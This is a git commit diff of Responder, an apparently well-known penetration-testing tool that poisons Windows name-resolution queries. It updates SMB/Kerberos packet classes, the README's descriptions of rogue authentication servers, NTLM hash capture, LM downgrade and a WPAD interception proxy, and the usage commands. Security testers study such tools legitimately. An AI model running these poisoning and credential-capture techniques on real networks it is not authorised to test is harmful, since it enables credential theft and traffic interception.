("MaxSetupCount", "\x00"),
|
||||||
|
("Reserved","\x00\x00"),
|
||||||
|
("Flags", "\x00"),
|
||||||
|
("Timeout","\x00\x00\x00\x00"),
|
||||||
|
("Reserved1","\x00\x00"),
|
||||||
|
("ParamCount","\x24\x00"),
|
||||||
|
("ParamOffset", "\x5a\x00"),
|
||||||
|
("DataCount", "\x00\x00"),
|
||||||
|
("DataOffset", "\x7e\x00"),
|
||||||
|
("SetupCount", "\x00"),
|
||||||
|
("Reserved2", "\x00"),
|
||||||
|
("Bcc", "\x3f\x00"),
|
||||||
|
("Terminator", "\x00"),
|
||||||
|
("PipeName", "\\PIPE\\LANMAN"),
|
||||||
|
("PipeTerminator","\x00\x00"),
|
||||||
|
("Data", ""),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
#Padding
|
||||||
|
if len(str(self.fields["Data"]))%2==0:
|
||||||
|
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
|
||||||
|
else:
|
||||||
|
self.fields["PipeTerminator"] = "\x00\x00\x00"
|
||||||
|
##Convert Path to Unicode first before any Len calc.
|
||||||
|
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
|
||||||
|
##Data Len
|
||||||
|
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
|
||||||
|
##Packet len
|
||||||
|
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
|
||||||
|
|
||||||
|
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
|
||||||
|
##Bcc Buff Len
|
||||||
|
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
|
||||||
|
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
|
||||||
77
README.md
77
README.md
@@ -5,13 +5,13 @@ http://www.spiderlabs.com
|
|||||||
INTRODUCTION
|
INTRODUCTION
|
||||||
============
|
============
|
||||||
|
|
||||||
This tool is first an LLMNR and NBT-NS responder, it will answer to
|
This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to
|
||||||
*specific* NBT-NS (NetBIOS Name Service) queries based on their name
|
*specific* NBT-NS (NetBIOS Name Service) queries based on their name
|
||||||
suffix (see: http://support.microsoft.com/kb/163409). By default, the
|
suffix (see: http://support.microsoft.com/kb/163409). By default, the
|
||||||
tool will only answers to File Server Service request, which is for SMB.
|
tool will only answers to File Server Service request, which is for SMB.
|
||||||
The concept behind this, is to target our answers, and be stealthier on
|
The concept behind this, is to target our answers, and be stealthier on
|
||||||
the network. This also helps to ensure that we don't break legitimate
|
the network. This also helps to ensure that we don't break legitimate
|
||||||
NBT-NS behavior. You can set the -r option to "On" via command line if
|
NBT-NS behavior. You can set the -r option via command line if
|
||||||
you want this tool to answer to the Workstation Service request name
|
you want this tool to answer to the Workstation Service request name
|
||||||
suffix.
|
suffix.
|
||||||
|
|
||||||
@@ -22,12 +22,12 @@ FEATURES
|
|||||||
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
|
||||||
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
|
||||||
Clear text password is supported for NT4, and LM hashing downgrade when the
|
Clear text password is supported for NT4, and LM hashing downgrade when the
|
||||||
--lm option is set to On. This functionality is enabled by default when the
|
--lm option is set. This functionality is enabled by default when the
|
||||||
tool is launched.
|
tool is launched.
|
||||||
|
|
||||||
- Built-in MSSQL Auth server.
|
- Built-in MSSQL Auth server.
|
||||||
In order to redirect SQL Authentication to this tool, you will need to
|
In order to redirect SQL Authentication to this tool, you will need to
|
||||||
set the option -r to On(NBT-NS queries for SQL Server lookup are using
|
set the option -r (NBT-NS queries for SQL Server lookup are using
|
||||||
the Workstation Service name suffix) for systems older than windows
|
the Workstation Service name suffix) for systems older than windows
|
||||||
Vista (LLMNR will be used for Vista and higher). This server supports
|
Vista (LLMNR will be used for Vista and higher). This server supports
|
||||||
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
NTLMv1, LMv2 hashes. This functionality was successfully tested on
|
||||||
@@ -35,7 +35,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in HTTP Auth server.
|
- Built-in HTTP Auth server.
|
||||||
In order to redirect HTTP Authentication to this tool, you will need
|
In order to redirect HTTP Authentication to this tool, you will need
|
||||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
to set the option -r for Windows version older than Vista (NBT-NS
|
||||||
queries for HTTP server lookup are sent using the Workstation Service
|
queries for HTTP server lookup are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
|
||||||
@@ -45,7 +45,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in HTTPS Auth server.
|
- Built-in HTTPS Auth server.
|
||||||
In order to redirect HTTPS Authentication to this tool, you will need
|
In order to redirect HTTPS Authentication to this tool, you will need
|
||||||
to set the -r option to On for Windows versions older than Vista (NBT-NS
|
to set the -r option for Windows versions older than Vista (NBT-NS
|
||||||
queries for HTTP server lookups are sent using the Workstation Service
|
queries for HTTP server lookups are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
|
||||||
@@ -57,7 +57,7 @@ FEATURES
|
|||||||
|
|
||||||
- Built-in LDAP Auth server.
|
- Built-in LDAP Auth server.
|
||||||
In order to redirect LDAP Authentication to this tool, you will need
|
In order to redirect LDAP Authentication to this tool, you will need
|
||||||
to set the option -r to On for Windows version older than Vista (NBT-NS
|
to set the option -r for Windows version older than Vista (NBT-NS
|
||||||
queries for HTTP server lookup are sent using the Workstation Service
|
queries for HTTP server lookup are sent using the Workstation Service
|
||||||
name suffix). For Vista and higher, LLMNR will be used. This server
|
name suffix). For Vista and higher, LLMNR will be used. This server
|
||||||
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
supports NTLMSSP hashes and Simple Authentication (clear text authentication).
|
||||||
@@ -86,6 +86,8 @@ FEATURES
|
|||||||
|
|
||||||
- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
|
- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
|
||||||
|
|
||||||
|
- Analyze mode: This module allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning any requests. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet.
|
||||||
|
|
||||||
- Responder is now using a configuration file. See Responder.conf.
|
- Responder is now using a configuration file. See Responder.conf.
|
||||||
|
|
||||||
- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
|
- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
|
||||||
@@ -116,52 +118,67 @@ USAGE
|
|||||||
First of all, please take a look at Responder.conf and set it for your needs.
|
First of all, please take a look at Responder.conf and set it for your needs.
|
||||||
Running this tool:
|
Running this tool:
|
||||||
|
|
||||||
- python Responder.py [options]
|
- ./Responder.py [options]
|
||||||
|
|
||||||
Usage Example:
|
Usage Example:
|
||||||
|
|
||||||
python Responder.py -i 10.20.30.40 -r On -I eth0
|
./Responder.py -i 10.20.30.40 -w -r -f
|
||||||
|
|
||||||
|
or:
|
||||||
|
|
||||||
|
python Responder.py -i 10.20.30.40 -wrf
|
||||||
|
|
||||||
Options List:
|
Options List:
|
||||||
|
|
||||||
-h, --help show this help message and exit.
|
-h, --help show this help message and exit
|
||||||
|
|
||||||
-i 10.20.30.40, --ip=10.20.30.40 The ip address to redirect the traffic to.
|
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
|
||||||
(usually yours)
|
BROWSER, LLMNR requests from which workstation to
|
||||||
|
which workstation without poisoning anything.
|
||||||
|
|
||||||
|
-i 10.20.30.40, --ip=10.20.30.40
|
||||||
|
The ip address to redirect the traffic to. (usually
|
||||||
|
yours)
|
||||||
|
|
||||||
-I eth0, --interface=eth0 Network interface to use
|
-I eth0, --interface=eth0 Network interface to use
|
||||||
|
|
||||||
-b Off, --basic=Off Set this to On if you want to return a
|
-b, --basic Set this if you want to return a Basic HTTP
|
||||||
Basic HTTP authentication. Off will return
|
authentication. If not set, an NTLM authentication
|
||||||
an NTLM authentication.
|
will be returned.
|
||||||
|
|
||||||
-r Off, --wredir=Off Set this to On to enable answers for netbios
|
-r, --wredir Set this to enable answers for netbios wredir suffix
|
||||||
wredir suffix queries. Answering to wredir
|
queries. Answering to wredir will likely break stuff
|
||||||
will likely break stuff on the network
|
on the network (like classics 'nbns spoofer' would).
|
||||||
(like classics 'nbns spoofer' will).
|
Default value is therefore set to False
|
||||||
Default value is therefore set to Off.
|
|
||||||
|
|
||||||
-f Off, --fingerprint=Off This option allows you to fingerprint a
|
-d, --NBTNSdomain Set this to enable answers for netbios domain suffix
|
||||||
host that issued an NBT-NS or LLMNR query.
|
queries. Answering to domain suffixes will likely
|
||||||
|
break stuff on the network (like a classic 'nbns
|
||||||
|
spoofer' would). Default value is therefore set to
|
||||||
|
False
|
||||||
|
|
||||||
-w On, --wpad=On Set this to On or Off to start/stop the WPAD rogue
|
-f, --fingerprint This option allows you to fingerprint a host that
|
||||||
proxy server. Default value is On
|
issued an NBT-NS or LLMNR query.
|
||||||
|
|
||||||
--lm=Off Set this to On if you want to force LM hashing
|
-w, --wpad Set this to start the WPAD rogue proxy server. Default
|
||||||
downgrade for Windows XP/2003 and earlier. Default value is Off
|
value is False
|
||||||
|
|
||||||
-F Off, --ForceWpadAuth=Off Set this to On or Off to force NTLM/Basic authentication on
|
-F, --ForceWpadAuth Set this if you want to force NTLM/Basic
|
||||||
wpad.dat file retrieval. This might cause a login prompt in
|
authentication on wpad.dat file retrieval. This might
|
||||||
some specific cases. Default value is Off
|
cause a login prompt in some specific cases.
|
||||||
|
Therefore, default value is False
|
||||||
|
|
||||||
|
--lm Set this if you want to force LM hashing downgrade for
|
||||||
|
Windows XP/2003 and earlier. Default value is False
|
||||||
|
|
||||||
-v More verbose
|
-v More verbose
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
For more information read these posts:
|
For more information read these posts:
|
||||||
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
|
http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
|
||||||
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
|
http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
|
||||||
http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
|
http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
|
||||||
|
http://blog.spiderlabs.com/2014/02/responder-20-owning-windows-networks-part-3.html
|
||||||
|
|
||||||
Follow our latest updates on twitter:
|
Follow our latest updates on twitter:
|
||||||
https://twitter.com/PythonResponder
|
https://twitter.com/PythonResponder
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
;Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||||
SQL = On
|
SQL = On
|
||||||
SMB = On
|
SMB = On
|
||||||
|
Kerberos = On
|
||||||
FTP = On
|
FTP = On
|
||||||
POP = On
|
POP = On
|
||||||
;;Listen on 25/TCP, 587/TCP
|
;;Listen on 25/TCP, 587/TCP
|
||||||
@@ -19,9 +20,12 @@ Challenge = 1122334455667788
|
|||||||
;Set this to change the default logging file
|
;Set this to change the default logging file
|
||||||
SessionLog = Responder-Session.log
|
SessionLog = Responder-Session.log
|
||||||
;
|
;
|
||||||
;Set this options with your in-scope targets. Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
;RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
|
||||||
RespondTo =
|
RespondTo =
|
||||||
|
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
;RespondTo = WPAD,DEV,PROD,SQLINT
|
||||||
|
RespondToName =
|
||||||
;
|
;
|
||||||
[HTTP Server]
|
[HTTP Server]
|
||||||
;;
|
;;
|
||||||
|
|||||||
742
Responder.py
Executable file → Normal file
742
Responder.py
Executable file → Normal file
File diff suppressed because it is too large
Load Diff
@@ -107,7 +107,7 @@ class SMBNegoAnsLM(Packet):
|
|||||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||||
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
|
||||||
##################################################################################
|
##################################################################################
|
||||||
#SMB Negotiate Answer LM packet.
|
#SMB Negotiate Answer ESS NTLM only packet.
|
||||||
class SMBNegoAns(Packet):
|
class SMBNegoAns(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x11"),
|
("Wordcount", "\x11"),
|
||||||
@@ -149,8 +149,6 @@ class SMBNegoAns(Packet):
|
|||||||
("NegHintFinalASNId", "\x1b"),
|
("NegHintFinalASNId", "\x1b"),
|
||||||
("NegHintFinalASNLen", "\x15"),
|
("NegHintFinalASNLen", "\x15"),
|
||||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||||
## END
|
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
@@ -179,7 +177,86 @@ class SMBNegoAns(Packet):
|
|||||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
|
||||||
################################################################################
|
################################################################################
|
||||||
|
#SMB Negotiate Answer ESS NTLM and Kerberos packet.
|
||||||
|
class SMBNegoKerbAns(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x11"),
|
||||||
|
("Dialect", ""),
|
||||||
|
("Securitymode", "\x03"),
|
||||||
|
("MaxMpx", "\x32\x00"),
|
||||||
|
("MaxVc", "\x01\x00"),
|
||||||
|
("MaxBuffSize", "\x04\x41\x00\x00"),
|
||||||
|
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||||
|
("SessionKey", "\x00\x00\x00\x00"),
|
||||||
|
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||||
|
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
||||||
|
("SrvTimeZone", "\xf0\x00"),
|
||||||
|
("KeyLen", "\x00"),
|
||||||
|
("Bcc", "\x57\x00"),
|
||||||
|
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
||||||
|
("InitContextTokenASNId", "\x60"),
|
||||||
|
("InitContextTokenASNLen", "\x5b"),
|
||||||
|
("ThisMechASNId", "\x06"),
|
||||||
|
("ThisMechASNLen", "\x06"),
|
||||||
|
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
|
||||||
|
("SpNegoTokenASNId", "\xA0"),
|
||||||
|
("SpNegoTokenASNLen", "\x51"),
|
||||||
|
("NegTokenASNId", "\x30"),
|
||||||
|
("NegTokenASNLen", "\x4f"),
|
||||||
|
("NegTokenTag0ASNId", "\xA0"),
|
||||||
|
("NegTokenTag0ASNLen", "\x30"),
|
||||||
|
("NegThisMechASNId", "\x30"),
|
||||||
|
("NegThisMechASNLen", "\x2e"),
|
||||||
|
("NegThisMech1ASNId", "\x06"),
|
||||||
|
("NegThisMech1ASNLen", "\x09"),
|
||||||
|
("NegThisMech1ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
|
||||||
|
("NegThisMech2ASNId", "\x06"),
|
||||||
|
("NegThisMech2ASNLen", "\x09"),
|
||||||
|
("NegThisMech2ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
|
||||||
|
("NegThisMech3ASNId", "\x06"),
|
||||||
|
("NegThisMech3ASNLen", "\x0a"),
|
||||||
|
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
|
||||||
|
("NegThisMech4ASNId", "\x06"),
|
||||||
|
("NegThisMech4ASNLen", "\x09"),
|
||||||
|
("NegThisMech4ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||||
|
("NegTokenTag3ASNId", "\xA3"),
|
||||||
|
("NegTokenTag3ASNLen", "\x1b"),
|
||||||
|
("NegHintASNId", "\x30"),
|
||||||
|
("NegHintASNLen", "\x19"),
|
||||||
|
("NegHintTag0ASNId", "\xa0"),
|
||||||
|
("NegHintTag0ASNLen", "\x17"),
|
||||||
|
("NegHintFinalASNId", "\x1b"),
|
||||||
|
("NegHintFinalASNLen", "\x15"),
|
||||||
|
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
CompleteBCCLen1 = str(self.fields["Guid"])+str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||||
|
|
||||||
|
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||||
|
|
||||||
|
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||||
|
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||||
|
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||||
|
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||||
|
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||||
|
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||||
|
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||||
|
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||||
|
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||||
|
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||||
|
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||||
|
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||||
|
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||||
|
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||||
|
################################################################################
|
||||||
class SMBSession1Data(Packet):
|
class SMBSession1Data(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Wordcount", "\x04"),
|
("Wordcount", "\x04"),
|
||||||
|
|||||||
@@ -445,4 +445,3 @@ if __name__ == '__main__':
|
|||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
raise
|
raise
|
||||||
raw_input()
|
raw_input()
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user